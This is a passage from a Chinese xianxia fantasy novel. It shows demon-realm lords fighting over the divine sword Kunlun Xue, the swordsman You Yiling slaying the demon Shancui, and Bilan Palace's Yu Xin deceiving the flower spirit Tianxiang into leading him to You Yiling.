游奕陵眼中闪过一丝惊讶,在场众人无一不骇然。平等王身后的下属瞬间围上来,欲制服天香,宴会上竟有人胆敢行刺城王!
那奴仆离太近,他险些避让不及,还好他早有防备。雷行眼中闪过不屑,嘲讽笑道:“哼,青衣,我早知你意欲行刺。你找的那几个卖命魔修已被我杀了,原来是你又找了两个愿意送死的!”
雷行阴阳怪气道:“青衣许你们什么好处,不会是放你们一条生路吧,哈哈哈。这个女人的话半句信不得。”
天香一惊,一双手握着昆仑雪微颤。她修为堪堪,雷行轻易从她手中夺剑,边出剑划伤她手臂,天香受伤摔到在地。游奕陵本可将剑夺回,却选择抱住天香摔滚至一旁。
游奕陵上前抱住她,谁知触碰到血的一刻,二人身体又换了回来。他们对视一刻,才发现异常。天香瞪大了眼睛,难掩欣喜道:“我们,我们居然变回来了!”
雷行不知所云,只是心中嗤笑,这两人还玩起互帮互助那一套。一掌带风拍出,下令,“来人,把这两个刺客杀了!”
天香微微一怔,几名魔修围上前来。游奕陵眸中似有清辉闪过,抱着她躲过致命杀招。
她一晃神,明明是生死危机时刻,在他怀里竟有一刻忘记害怕。
若是平常,对战雷行他二人修为尚浅,怕是毫无胜算,插翅难飞。但今日雀南阁里突遭大便,雷行一心夺剑,没空管这两只老鼠。
转轮王眼看刺杀不成暴露,挥手让雀南阁外的下属冲进了曲径堂。雷行也脸色一沉,拍拍手涌上一群魔修弟子。
“怎么,堂堂转轮王出尔反尔,要夺回昆仑雪?”
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果然,转轮王不可能轻易将魔君位子拱手让人。他假装献剑实则借机除去平等王而已,如今败露,就直接挑明吧。
衍诀面若冠玉,表情看不真切。此刻忽的眸色一暗,唇角勾起一个弧度,但他越是笑,旁人看了越害怕,“我反悔了,你能如何?”
然而此时,昆仑雪上沾染了那名奴仆的血,剑身缓缓发亮,居然开始微微颤抖。
一道血线陡然穿过剑身,将上万片鬼眼暗纹紧紧锁在一起。剑身原本暗淡无光,此刻萦绕黑气。
剑身微微颤抖,发出铮鸣。仿佛回到混沌初开,浊气中还没有生灵,彼时魔界一片魔障。
直到此剑摧枯拉朽般将魔障劈散,揉的粉碎,从此有了魔界。毁天灭地的气势让所有魔族都心神一震,而后一阵轻响,黑气散尽,这把剑又散发出淡淡白光,为数不多的原始清气在剑身流转涌动。
雷行大惊,此剑开形了,谁能料到,昆仑雪竟然在他手中重新认主了!
在做其余城主皆是大惊,无数人私底下窃语,平等城主竟引得昆仑雪认主!有人不信,有人畏惧。
更有甚者露出贪婪之色,企图趁乱夺剑。但雷行此刻手持神剑威风无比,雀南阁又本就是平等王的地盘。各城主无一人敢上前造次。看来这魔君位子,非他莫属了。
衍诀登时脸色一变,眼中闪过不可置信。面上冷若冰霜,阴沉的要拧出水来,长眸透出冷峻之色,周身气息夹杂一丝霜意。
雷行满意大笑起来,“哈哈哈哈!神剑择主,众望所归啊!看来这把剑,只能是归我了。”
上万年过去,除了前魔君再无人能拿起此剑,今日他雷行不愧为人心归向,竟能让昆仑雪重新认主,还有谁比他更适合这魔君的位子?
衍决用力过大,骨节分明的指尖微微颤抖,单手几乎把翡翠盏捏碎。语气还是淡淡的,让人听了却陡然生寒,“杀了平等王,夺回昆仑雪。”
雷行为何能触发剑鸣,不可能,这把剑只认主无奕。他为什么能引发剑鸣,他一个不解大局的莽夫,自己都拿不起昆仑雪,凭什么?!
青衣大惊失色,看出他眼中仿若骤来的雨,似是有些担忧。急切走上前安抚,想触碰他,被面无表情将手打到一边。衍诀忽的把酒杯一摔,起身重重的哼了一声。
为什么他总是差人一步,千百年来,他无数次握这把剑,没有任何反应。既然,他拿不起来,谁也别想得到这把剑。
转轮城的弟子瞬间涌入雀南阁,曲径堂两芒交锋一触即发。衍诀手上魔息萦绕,天铩业火陡然而生。掌心魔焰在回廊中央划下一道纵横,那沟壑极深,几乎将回廊一分为二,令人看着怵目惊心。
他冷笑道:“把剑留下,否则今日谁都别想走。”
8. 第 8 章
天香和游奕陵此刻退于一旁观战,远处场面犹一团糟。
虽然刺杀失败了,但青衣现在无暇顾及他们。天香元神上的天魔符是山翠印下,而游奕陵也需要找山翠询问周术师兄下落,此刻只需要找到山翠......
远处,山翠正站在青衣身后。此刻正与平等王手下的魔修斗法,若是现在贸然将她带走,此刻入场容易遭受波及,不如再等一个合适时机。
雷行持剑扫视众人一圈,其余城主尚且不敢上前,既然衍决妄图夺回昆仑雪,那就分个胜负。
双方各自人马正在激烈交锋,雷行手持昆仑雪,细小的雷电附着其上忽闪而过,足底踏碎一节砖石,已闪身向前,向衍决攻去。
昆仑雪寒光凌冽,剑风锐利无匹。一出鞘,空中就夹杂了几丝风雪气息。鬼眼纹闪过暗红,不愧是饮血无数的上古神剑。长剑游走似蛟龙出海,飞快逼至衍决面前。
二人登时缠斗道一处,魔息震荡,整座回廊都被波及,击出道道裂痕,崩碎破石如同刀锋四溅。
衍决业火焚天,空中陡生股炎烈之气扑面而来。雷行躲避不及,长衣一角被炙烧化灰。又一道凌冽剑气直逼他面门而来,他闪步避剑芒,昆仑雪所过之处空中一道黑雾残影,夹杂几丝电纹。
他化业火为十尺圆形屏障,将剑气和飞石碎屑都阻隔在外,击撞在火屏上的碎屑都熔为飞烟。但剑气屡屡划破焰墙,终于已到极限,焰墙呈现破散之象。
忽闻“轰”的一声,焰墙破溃。衍诀退后,回廊下的一池碧水生股白烟。
雷行一心想夺剑称王,急不可耐。招招狠厉,要致人于死地。他一脚踏在碎石上飞身上前,继续节节猛攻。衍决被迫守大于攻,逐渐无暇反击,片刻过后已呈微微颓败之势。
几回合下来,衍决气息渐渐不稳,对敌昆仑雪他不敢贸然进攻,但再这样耗下去,他怕是胜算渺茫。
又是一剑迎面而来,他退无可退。衍决终于被逼出手,正面抬手一掌魔焰挡下寒冽剑气。此招铤而走险,结果他接下了。待烟灰散去,竟是毫发无伤,他眼中闪过一丝惊讶。
怎么可能?这一剑他本不该轻易接下。
此刻衍决和雷行正过招夺剑,青衣带人与雷行下属的魔修弟子对战。正是捉拿那女妖的好时机,游奕陵未曾犹豫,剑气越发凌厉,那汹涌剑光直朝山翠面门而去。
山翠反应不及,面露仓皇。事发突然,这一剑她显然是化不了的,一时晃神不及闪躲。她生生被被逼的退后七八步,受下六分剑气。
她捂住胸口,咽下一口血,斜斜看向来人,“哼,你们的移魂术解除了?”
游奕陵双眸平静无波,淡淡道:“说出周师兄下落。”
山翠眼中似笑非笑,身旁几名魔修弟子上前掩护,“他已经死了。”
他脸色一沉,剑风挥开众魔修,直直逼近,剑尖已劈她面门,“你说什么?”
那几名魔修弟子均被剑气激荡开,她已是气喘吁吁,衣衫湿透,却仍是笑着,“怎么,不信可以去轮回司瞧瞧。”
天香追了上来,只见山翠正狼狈倒在地上。硬生生挨了一道剑气,被打的摔落在地,发出一声呻吟,周围的魔修也是倒得七零八落,地上积蓄一小滩暗红。
她仰着头,“哼,要怪就怪他轻信于我。”
游奕陵眸色一暗,继续出剑,寒光凛冽,一剑指她喉间索命。
山翠冷笑一声,她不会死,青衣夫人自是会保她。此地魔修无数,反观他一个人族还想逃出生天?果然又是几名魔修涌上前来,源源不断。
想要在魔界动她,他还差点本事。
彼时,远处回廊传来声声巨响,昆仑雪扫过的地方碎石遍地。
衍决暗道奇怪,他为何能正面挡下昆仑雪。他和无奕交过手,此剑威力绝不止此。再看那把剑,鬼眼纹暗淡下去,剑身原始清气逐渐散去。
他心有疑惑,念头闪动,犹豫片刻。雷行趁机运劲,昆仑雪寸寸向前,他被迫撤力闪身躲开。
雷行只道是他无计可施了,嘲讽笑出声,“你就只会躲吗?”
方才,为什么昆仑雪会有反应?难道是......他心下一惊,不可能,无奕已经死了。他扫视一圈曲径堂,这才放下心来,可能只是魔息无端波动的误会罢了。
衍决看透八分,虽没有十成把握,但已足够。他声音低沉,面上带笑,“只怕,昆仑雪并未认主于你。”
雷行大怒,此剑在他手中运转自如,方才更是暗纹闪动,清气暴涨。怎么可能没认主于他呢?他大怒劈裂石柱,整座回廊倾覆颓倒,继续攻上前,“哼,胡说八道!!”
或是被激怒,或是感到剑已经开始不听他召唤。他额间冒汗,感觉不可再拖,雷行此招使出了全部功力。剑身承受了太多魔息微微颤抖,陡然已至衍决眼前。
衍决衣袂猎猎,轻飘飘飞至倾斜覆倒的屋檐顶上,沉默不语。此招来势凶险,恐难避让开。
衍决面色一沉,糟了,没想到雷行急于证明自己,竟用了九成功力。此招虽能伤到自己,但雷行也再无力一战。
既然如此,不如借此机会夺回昆仑雪。剑伤虽难治愈,可能会伤及修为.....但他实在不愿放过这个机会。今日拿回剑就可以除掉这个蠢货,统一魔界。
只是,就算能拿回昆仑雪,他也无力再对抗其余城主,其他魔族谁不觊觎此剑,舍身夺剑无异于置身险境,他今日怕是难再全身而退。
但只要能夺得魔君位子,别的都不重要,便是修为大损又如何?上万年来的梦想就将实现,他竟忍不住兴奋的微微颤抖,眸光微动,闪身上前。
天道何等不公,这个魔君的位子就该他来坐。指尖凝出魔息,黑雾萦绕的火焰陡然生起。
青衣见他身形,心中一颤,眼中流露出紧张。不知为何,刹那间她脑中一片空白,那一瞬间竟是不假思索。
碧波微漾,昆仑雪再起。
她替他挡下了此剑,衍诀不由得愣住。
雷行遭受反噬,再也握不住昆仑雪,被摔落打退。此番他已修为受损,短期无力再战,“你!”
他不敢置信的捂住胸口,这个妖女竟做出这等疯狂不要命的举动。
青衣面色苍白,腹中被昆仑雪刺穿的血洞涓涓。她咳出一口血,拔出沾血昆仑雪握于手中,歪着头笑道:“平等城主,是你输了。”
雷行不愿认输,但浑身散架般疼痛,气血逆行。只得气极打出一掌,愤愤道:“妖女坏我好事!”
衍决自是用魔焰挡下那掌,青衣见他眼中只有惊讶,却是无半分悲伤。她自嘲一笑,心中满是苦涩,浓烈到让人无奈。
曲径堂此刻围满了魔修,一众城主于其余弟子纷纷大惊。谁不知转轮王的青衣夫人生的美艳动人,虽然是个妖,却是个不好惹的主。不知道骗过多少人,如今居然为夺昆仑雪殒命。
天香吓了一跳,怔怔的望着青衣。没想到为了区区一把剑,这些人竟然不惜死斗。那把剑有这么重要吗?她只知道香溢斋的日子安稳而快乐,不知其他有何可图。
游奕陵一滞,神色仍是淡淡的。再转过头来,眼中杀意森寒,居高临下冷冷望着山翠,“你的主子死了,再无人保你。”
这下山翠是真的慌了,她神色惶然,指尖微颤。只觉自己浑身发冷,却一动也不能动,只得喃喃低语,“不,不可能......”
剑气如虹,白光骤然闪过。直逼她眼前,她翻身在地上滚一圈躲开,衣衫沾满泥
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土,发丝微乱被汗打湿粘在额头。
山翠眼见青衣气数已尽,树倒猢狲散,再留转轮王身边怕是难有以前的好日子了。况且再待下去,这个难缠的死囚怕是要向她索命。
她退后一步,不再留恋,眸光微动身形一闪。直接消失在原地,远离人群,往雀南阁外飞去。
游奕陵神色冷冷追上,“徒劳。”
天香害怕一个人在这里,也只得跟他追了上去,“喂!等等我。”
远处青衣摇摇晃晃的站起来,虚弱的扶着胸口,昆仑雪支地,身躯慢慢落下去。直到再也撑不住,倒了下去。
衍诀眸色沉沉,语气仍是寻常,“我对你无意,这又是何必。”
她苦笑,“我知道你从来都不喜欢我,你心里只想要魔君的位子。娶我不过是为了更多依附的势力。”
妖的生命短暂,但她总是贪恋,想要更多。
她笑容温柔,眼中满是不舍,“只是我宁愿骗自己,也不愿信你对我无情。”
她像在明月如霜的漫漫长夜,荒野中穿梭独行。忽的有人站到她身后,轻轻拍她肩膀,抬起头,回眸即是初见。
朝夕相处不过转瞬,往昔似一场缥缈的春日旧梦,又如月下卷舒败落的灼灼之花,飘散在微雨清风里,从此杳无音信。
“衍决……”她眼前渐渐模糊一片,直到最后什么都看不清。
衍诀一怔,没料到她会这样说,只是静静看着她。
可惜飞花自散,如梦初醒。春光温情,再难回首。青衣就此香消玉殒,只余手中一把沾血昆仑雪。
远处那群被铁链束手的死囚,见回廊倾倒,此刻不跑更待何时。众人顿时奋力敲开铁链,冲倒狱守,作鸟兽散。起初几名魔修还去阻拦,后来发现双方都在对战中消耗极大,已无力阻挡。
死囚们纷纷团结起来冲出一条路,甚至活捉了五官城主威胁。五官城主一脸胆怯,吓的额头冒汗。大声呼喊命其余魔修弟子不要上前,场面乱成一锅粥。
正当众人感慨,青衣不惜以命夺剑,看来今日这神剑之争,总该落下帷幕了。却无人料到,螳螂捕蝉,黄雀在后。
那名平等王的下属突然跳了出来,夺走青衣手中的昆仑雪,一切发生的太快,众人还未反应过来。
雷行率先发觉,顿时喜出望外,“快,快把昆仑雪给我!我许你万车上品灵石!”
那名下属却只是站着不动,静静看着他,眼中满是不屑。
雷行继续带着催促,语气充满不耐,“还在发什么呆,速速把昆仑雪给我!”
青衣尸体连同妖丹消散,衍诀冷冷抬眼望去,只道是个跳梁小丑罢了,雷行无力再战,在场已经没有人可以从他手中夺剑,他正欲上前。
那名下属却紧握昆仑雪,蹙着眉头。脚底微微发亮,竟是个遁行阵,他是有备而来!
天踪遁行阵高速回转,他后退几步,站至阵眼中央。阵芒逐渐扩大,至直亮如白昼,将他整个人吞没。仅仅是一瞬间,他便带着昆仑雪消失的无影无踪。
坏了,竟是个贪图昆仑雪的叛徒。可恨!雷行双目泛红,支撑身体,冲上前欲抓住那名魔修。却扑了个空,阵眼只余一朵碧花。
指尖一凝,那朵碧花飞来衍诀掌心,他微微皱眉,恐怕不只是个贪婪之徒。
衍诀看着碧花出神,“是碧岚宫的人。”
雷行眼中满是恼怒,吐出一口血沫,“哼,碧岚宫如今只余一个死壳,他们夺剑也是无力自保,何必废此功夫。”
碧花是魔界特有的花,虽在魔界随处可见,但碧岚宫却是最多,花开漫山遍野。
碧岚宫是无奕的,只是他死后,碧岚宫的人也散的所剩无几。如今竟还有残党夺剑,意欲何为?
9. 第 9 章
阵芒消散,黑衣男子出现在碧岚宫中。殿前两名看守弟子上前行礼,“千里长老,代宫主大人在里面。”
他淡淡点头进殿,将昆仑雪呈上,代宫主余信接过剑,“好,好!可惜那几人斗的昏天黑地,昆仑雪还不是被我碧岚宫夺得。”
千里什么也没说,行礼起身,站到赤地身旁。他二人既为兄弟,也为碧岚宫长老。只见余信二指细细抚过宝剑,爱不释手,眼中满意带点狂妄。
殿上其余弟子都低着头,赤地默不作声看了千里一眼,千里朝他点了点头。
赤地长老看余信一眼,眸色暗沉,忽的咧嘴笑一声,“代宫主大人,既然佩剑已被千里夺到手,不如找一下那名献宝宴上的人族男子如何?”
“为何找他?”余信头也不抬,语气却微微透股不耐烦。
赤地长老看着他,缓缓说道:“千里说,那人族男子或许能操控昆仑雪。”
余信脸色一沉,而后又掩去眸中神色,旁人丝毫看不出。这几人分明是想让他快点找回无奕,自他费劲心思爬上宫主之位后,这两兄弟从未信服于他。
想必这两人是怀疑那名人族男子的身份,哼,无奕早就死了。这真是把好剑啊,偏生他拿不起昆仑雪,竟只能被牵着鼻子走。
他暗地攥紧拳头,可惜赤地、千里二人在碧岚宫地位极高。两人又是兄弟手足情深,互相通气,也使不了离间计,一时半会难以除去,他只能再忍一会。
“赤地长老所言极是,明日我便亲自带人前往寻找,届时这宫中事务还要劳烦长老了。”余信将昆仑雪放下,微微一笑,看着他一字一句道。
他亲自带人前去,那大概率只是个碰巧能操控昆仑雪的人族罢了,瞧着境界低微,抓来也可以当个傀儡。若真是无奕......想必千年之前那场大战后也元气大伤,他直接一剑杀了便是。
“是,代宫主大人。”赤地长老低垂下头,没再说什么。
雀南阁内,平等城主脸色一黑,愤恨不已。
此番几人明争暗斗,最后竟给别人做了嫁衣,昆仑雪被碧岚宫夺了去。
天铩业火乍现,碧花在掌心燃尽飞散。衍决微微垂眸,掩下眸中神色。如果剑真是碧岚宫夺的,只是取剑当真稀松平常,碧岚宫只剩下零散几个弟子,他一人前去便可轻易攻破。
可碧岚宫蛰伏平等城许久,为何要今日暴露?单单为一把剑,何必此时出手,不但会成为焦点,更难保下碧岚宫。而且那把剑,除了他,应该无人能拿的起来,难道......
最坏的情况,他们找到了碧岚宫之主。若真是这样,无奕为什么不亲自来取剑。想必是功力尚未恢复,那此刻再与平等王缠斗已不是最佳选择。
必须先除去无奕,那可是莫大的威胁。
衍决扫视一圈各大城主,忽的绽出一抹笑意,可惜笑意不达眼底,“只怕碧岚宫夺剑,没那么简单。不妨合作,先联手覆灭碧岚宫残党,如何?”
其余城主面面相觑,雷行满眼讶然。与衍决合作,无异与虎谋皮。但细细一想,碧岚宫威胁极大,此事值得考虑,他不得不认真思量起来。
山翠自墙上翻出,绕过几条窄巷,两旁光景飞快向后略去。她一路逃命,游奕陵紧追不舍至雀南阁外。
追出四五回运息的时间,此地离雀南阁已有不少距离,游奕陵一剑挡她去路。
他长眉微微蹙起,缓步上前,似要将她碎尸万段,“你当初杀害周师兄的时候,可曾想到今日。”
天香追了上来,她修为尚浅,跟不上二人,还有些气急。只见游奕陵拦住山翠去路,正在前方不远处。
她从没见过他这么生气,游奕陵冷冷看着山翠,眸光锋利。心想若是他这般对着自己,只怕会被吓的呆在原地。
山翠死死盯着他,眼位透出几丝猩红,没想到今日怕是真要命丧于此,话语间不肯服输,“你以为,我拼尽全力战不过你吗?”
游奕陵声音冷冷,“何必多言,要战便来。”
山翠见天香赶来,看了她一眼。忽的不再闪躲,大笑起来,原来自己手中还有筹码,“哈哈哈,差点忘了。她身上还有我的天魔符。哼,你拿什么与我来战?”
“那又如何,杀你只需转瞬。”游奕陵面无表情,言语间寒意森森,杀意淋漓。
天香看着他执剑而立,神色冷淡。眉梢锋利,目光冷冽。一看这张脸,竟微微有些出神。
山翠面色微变,唇角勾起,咬牙切齿道:“好啊,那就来试试,是你的剑快,还是我的咒快。”
天香心脏一阵抽痛,像被一只手凭空捏住。喘不过起来,冷汗涔涔而下,神智不复清明,天旋地转。她突然跪在地上,气急道:“咳咳,你......你做了什么......”
拿别人性命做威胁,他最是不耻。此妖修生性狡诈,残害多人性命,当除。
游奕陵眸色一沉,认真起来,“你心歹毒至此,害人无数还要拿她性命做挟,施这等阴险魔咒。她若死了,我要你付出千百倍代价。”
山翠笑的猖狂,周身魔息暴涨,“你少在口舌上逞威风,不出半柱香,她就要魂飞魄散。想救她,你就留不住我。”
游奕陵眼中尽是嗤笑嘲讽,“你尽可试试。”
他转身握住天香的手,一道护心真气注入她体内,气流犹如山间纯粹的清风,在她四肢百骸间游走,所过之处皆带来丝丝暖意,阻挡了天魔符发作。
他将她安顿好,一向冷淡的长眸显得温柔些许,认真嘱咐道:“你在这里等我。”
天香只觉那股凭空而来的抽痛消失了不少,只余稍许阵痛。周身血液倒流的凉意也渐渐褪去,她神志恢复少许清明。
她不敢上前,怕打扰他战局,使其分心,只能有些担忧的望着他,“好,你也要小心。”
他不多言语,转身离去。她眼前瞬间落空,那个身影提剑远去,衣袂翩飞仿佛再也不会回来。那一刻,她忽的无端害怕。怔怔抬头看着他的背影,怅然若失。他去路挡了光,而她恰好笼在那道阴影里。
她神色带些黯然,心中念头来回转过,忍不住唤他道:“你可不要输了!”
他一怔,神色仍是淡淡的,长睫微垂,“你也太小看我了。”
他手中剑光一闪,顿时散发白芒。只听极微的锐器破空之声,山翠右手臂闪过一丝血线,竟是被生生割下,她失了手臂,再无力结咒。
山翠止不住的发出一声惨叫,又很快左手止住右手气血经脉,将痛感强行压抑下去。
她眼中愈发怨恨起来。周身气息冰冷异常,魔息爆动混乱,语气染上几分凄厉,“我最恨你这种眼神,和周术那个牛鼻子如出一辙,既目中无人,又无比厌恶我。”
山翠边咳血边说,元珠已隐约有自爆之象。她开始止不住的哭泣,泪水簌簌而下,神色癫狂,面上血泪混杂,“为什么,为什么看不起我。我是妖道,那又怎么了,我喜欢他,他却是那般厌恶我。所以我把他杀了。”
“哈哈哈,你断我一臂,我已无退路,我自爆元珠也要杀了你们所有人!”
游奕陵神色毫无动容,长眸尽是不屑,冷面道:“你没有机会了。”
白芒剑光闪过,不过霎那,山翠身形一颤忽的如风筝断线,再难自持。剑尖已经穿刺她的喉咙,从身后透出。
须臾之间,杀意凛然,一剑封喉。
彼时微风骤起,轻轻拂过,似带着无端哀婉叹息。她身形连同妖丹一齐化灰,散在风里。
如棠花飞散,春梦无痕,什么也没有剩下。原地只余一张褶皱橙黄符纸。游奕陵把符纸捡起,正是周师兄留下的那张。
如今山翠已死,事事尘埃落定。当初看湖脊魔布两界阵一次,他已记在心上,回人界不成问题。游奕陵收起符纸,他也该离
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开魔界向师父复命了。
天香身上的天魔符解除了,连那时不时的阵痛也一并消失。周身因游奕陵输入的那几道灵力,还因此爽利不少。她甚是欢喜,正要上前。但看他足底无端生起光晕,两界阵起。
见他即将离去,她心中不知为何,突然有些闷闷的,明知故问道:“你要走了吗?”
游奕陵神色淡淡的,一张纸轻飘落入她掌心,“嗯,这是驻颜丹的配方。”
霞光映得他侧脸面庞竟显得较平日柔和几分,天香微微一滞,原来他还记着这件事。她低头,或许是现在境界太低,还不能完全理解纸上文字。
下一秒,余光瞥见光晕散去,她心中涌起一丝失落。急忙抬眼,思绪翻涌间,张口还想说些什么,眼前却已空无一人。
脑中闪过一片空白,眼中无端落寞。明明只是一瞬,竟再也记不起方才想说的话了。
他离开她的世界,这方寸之间的天地,好像凝滞在霎那间,悄无声息。细想想,又觉得不必介怀。
她微微一笑,目光柔和。是啊,那句未说出口的话,便是记起来,也不知说与谁听了。
原来那方天地间,禁锢时间停滞不前的,是他们的缘。而时间重新开始流动之时,缘分便消散在风中了。
她望向远方,此刻甚至有种微微错觉,自己是否真的认识过他。
转眼,已过三日。
天璇宗的主峰屋内,云天真人看着手中那道符纸。听完游奕陵一番讲述,点了点头赞许道:“此番魔界之行,当真万分惊险。好在已将那女妖除去,也不辜负周术在天之灵。”
片刻,云天真人又叹了一口气,低声道:“可惜周术终究命丧妖女之手,魔族弟子大多心恶猖狂,妖族也不例外,需得小心为上。”
游奕陵静静看真人半晌,缓缓道:“师父,你为何不问与我同行的女弟子下落?”
云天真人双目湛然生光,微微一笑,“那日我隐约察觉她身上有一丝妖气,似又不像妖,甚是奇怪,但到底目光清澈心善。觉得你可以应付,便未曾点破,今日她并未一同归来,想必是有其他去处。”
游奕陵沉吟半晌,没再接话。
“啊嚏!”
天香揉揉鼻子,不知是谁在想她?害的她打断说话。见她楞神,旁边几个听众顿时催促道:“快说啊,之后怎么样了?”
只见香溢斋里,一众帮工正值无事,自从魔族战乱,店里来的客人也愈来愈少,于是他们便多出空闲,趁着斋主没人,几人闲聊起来。
自从魔族战乱,店里来的客人也愈来愈少,于是他们便多出空闲。
天香清清嗓子,面带笑意,继续道:“只见那转轮王和平等王打的那叫一个不分胜负,我看时机到来,便上前一剑除了那女妖,这才解除了天魔符。”
一只黑猫妖修尚未化形,名为乌星,跳上桌乖巧的蹲坐下,却已能开口说话,他满眼崇拜,“小香姐姐就是厉害。”
另一人脸上带道刀疤,看着唬人,却是个热心肠,名为贾勉。他将信将疑,“真是你杀了山翠?”
天香神色威风起来,拍拍胸脯,忙道:“那还能有假!”
贾勉继续问道:“嘶,那神剑呢,最后归谁了?”
这可把天香问住了,当时她为了追游奕陵,走的匆忙,记不太清当时的场景了,“神剑好像是被一个......黑衣男子夺去了。”
贾勉可惜道:“我仰慕平等城王的声威,没想到神剑却被碧岚宫阴险小人夺去。”
碧岚宫的人,竟忽的出现在天香面前。她凝神一看,碧花纹绣于衣角,双眼一亮,“对,对。就是这身弟子服,是他们拿走了神剑!”
众人眼看斋主回来了,连忙一哄而散各自干活,天香也要离去。
那男子却拦下她,浅浅笑道:“阁下就是那日的献剑奴仆?可否得闲,至楼上雅间一叙。”
10. 第 10 章
待至雅间内,一张梨木桌上已斟好两盏热茶。
闻着好香,天香记得这茶不便宜。再看他身上一件沧澜灰水貂披风已是罕见,值百余块灵石,她心中疑惑滋生,碧岚宫的人,找自己所为何事?
余信悠然一笑,直截了当的开口,“那日曲径堂上,我瞧见是阁下与另一名男子一齐献剑,他如今身在何处?还请阁下带我引见。”
天香轻轻捧起茶盏端详,觉得白瓷上的金纹精巧细致,可惜有些烫,只得悻悻放下。
原来,这黑衣男子是来找游奕陵的。奕陵已经回人界天璇宗去了,况且虽然她知他下落,但他却未必愿意见人。
天香摇了摇头,如实回答,“他已经回天璇宗了。而且,你想见他,只怕他不想见你。”
余信微眯双眼,原来他是天璇宗的弟子,听闻当年云天真人自天剑门脱离而出自立门户,但也不过是个没怎么听说过的小派。
他也不气恼,依旧很有礼貌,“无妨,请阁下带我引见,若是他不肯,我会自行离开。”
天香奇怪的看着他,想不通他为什么不依不饶。
日前与他分别,这些天,她一直待在香溢斋。虽说偶尔看到那张驻颜丹配方便会想起他。
但想想之前被迫绑定,不那么愉快的经历后匆匆分别。两人既然已无交集,再见又何必强求。
她垂眸,眼底一阵黯然一闪而过,念头瞬间打消,还是算了。
“他不会想见你的,此事,你还是找别人吧……”天香无奈拒绝,目光凝在那茶盏上。
她盯着那盏腾热雾的香茶,见里面茶叶由卷至舒,时辰一分一秒慢慢过去,回想起那几日。
心底不由暗暗有些讶然,几日过去,本以为淡忘了许多细节,却没想到,印象仍旧清晰。
“小香姐姐!来活了!”
楼下是乌星的声音,她瞬间便犹如被赦免般起身,只想快点逃离,边赔笑摸到门边,细声道:“我还有事,失陪了……”
黑子男子的下属却是脸色一变,毫不客气拦住她,语气中隐约带着怒意,“大胆,无名小妖怎敢对代宫主余信大人如此无礼?”
天香被拦下,额头冒汗。碧岚宫的事,她也只是听说,曾经的魔族首派,根基稳固,势力盘根交错。
如今的碧岚宫,虽已逐渐落寞,却仍比大多势力强上不少,底下高手不在少数。
今日他们找她只是为了寻人,一看便知,碧岚宫弟子从头到尾看不起她,方才只是掩饰的好罢了。
她和这些人天壤之别,无话可说,还是少接触为妙。就像游奕陵和她,也不是一个世界的人……
她摇摇头,将胡思乱想自脑中抹除,只是垂眸皱着眉头。下属见她不语,愈发怒形于色,欲再度上前,却被余信拦下。
天香心中暗自盘算,若他们非要她带路不可,就以记不清地址为由推托此事。
那股凝重的气氛忽的无影无踪,余信话锋一转,露出一个温和的笑,“其实,我与天璇宗主乃是故友。”
天香微微一怔,眼中是将信将疑,沉吟半晌,思索他话中真假。
余信笑了笑,自怀中拿出一枚赤红色丹药。她定睛瞧那枚丹药,赤浓至黑,这是因为一味独特材料黑苗草造成,竟真是天璇宗驻颜丹。
她正犹豫着,余信边笑边说:“当年我去人间游历,碰巧救下了尚在天剑门的掌教人,他那时赠我几枚自制丹药答谢,没想到世事变迁,如今他已经脱出旧派自立门户了。”
天香一双眼瞧着他掌中驻颜丹出神,心中思索,他说的确实没错,云天真人原本是天剑门弟子,这些游奕陵都与她说过。
“那日见你朋友使得招式与掌教真人很像,发觉来自天璇宗,这才想请你带路,好助我寻得他,见见故友。”余信继续道。
她又看了眼余信,他笑容温和,举止大方,不似作假。天香转念一想,故友重逢,成人之美,本是件好事,只是让她再找游奕陵,还是有些抵触。
“可以是可以,但......”
余信看出她动摇,又见天香境界低微,他将驻颜丹放于桌上,缓缓道:“看你境界低微,尚未引气,不如这样。事成之后,我便收你入碧岚宫,这枚驻颜丹也赠与你。”
他见她眼中即刻闪过一丝欣喜,只觉得这只花妖真好骗,那不过是他在青衣尸体上摸来的一颗驻颜丹罢了,如今刚好派上用场。
又见她天资拙劣,根骨稀松,还竟妄想进碧岚宫,实在可笑。
天香瞪大双眼,她没听错吧?碧岚宫虽已落寞,却也是魔族名门望派。普通修士若是天资太差必是无望加入的。
她咽下一口水,只觉得机会不可错过,若是能进去,往后灵石仙草必定更容易获得,还有至高魔族功法。说不定,她就不必在香溢斋继续打工了。虽说不想再见那人,如今也只能忍一下了。
她慢慢挪回下楼的步子,将那枚丹药收入囊中,面露欣喜,即刻道:“好,一言为定。既然宫主大人如此诚心,我便帮你一回!”
随着两界阵光芒熄灭,天香已在天璇宗山门旁现身。
她一路蹑手蹑脚的摸到丹房,见门虚掩着,悄悄走进去。
只见守丹炉的外门弟子依旧是那几个,正困顿的不行。那只倾覆的铜炉已被法术修复完好如初,角落里堆着些劈木柴,甚至那本《启天记事》还丢于排木柜上。
见虚掩的门被推开,几名弟子陡然惊醒,满脸愕然,像见了鬼一样,“天,天香?!”
天香不好意思的挠头,轻声道:“嘘,我回来了,你们这么惊讶干吗?”
那几人纷纷异口同声,“我们都以为,你不再回宗门了!”
天璇宗对外门弟子的管理相对松散,他们大多不具备符修的资质根骨,也身无丹修的心性,胸无大志无心问道,为人懒散,便只能收为外门弟子。
世道剧颓波,谋生何其难。于是外门弟子中,也不乏有无处可去只是来图个生计的,他们有人一干便是几年,也有人吃不得苦,不足几日便自行离去。
于是天香几日杳无音信,众人便都以为她是不愿再呆天璇宗,不辞而别了。
天香凑近他们,随口找个理由敷衍,“怎么会,我只是出去办了点事,耽搁了几天。”
她今日是有要事前来,先找到游奕陵,其他的事情,日后再说。
她笑了笑,继续说道:“对了,近几日,你们可曾见过游师兄身影?我有事找他。”
那女弟子作思考状,“师兄他……我已是几日未曾在门内碰见,但明日梅溪镇上有拍卖市集,门内弟子大多一同前去,可以去那里找他,碰碰运气。”
天香陷入沉思,“梅溪镇......”
所谓拍卖市集,就是以天璇宗、弥恒派、抱元谷为首的几大丹宗,一年一度举办的易物集市。
市集原本是专为丹修弟子易物用,因丹修制丹时间往往很长,所得副产品无用,便拿去与其他弟子交换。后来越办越大,也会有其他宗派弟子前来购买珍稀法器丹符,便索性改为拍卖市集了。
远处的主峰上,两
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三名弟子洒扫道场。屋内香烟袅袅,云天真人正在授道。
天璇作为布阵依山而建的宗派,虽基业不过百年,但宗主尽心经营,地势得天独厚,已是丹宗新秀。
宗中弟子分为丹道和符道。其中丹道居多,而符道甚少。因丹道专攻凝丹制器,弟子心智聪慧,性情坚定即可。若是先天不足,后天也可修行弥补。
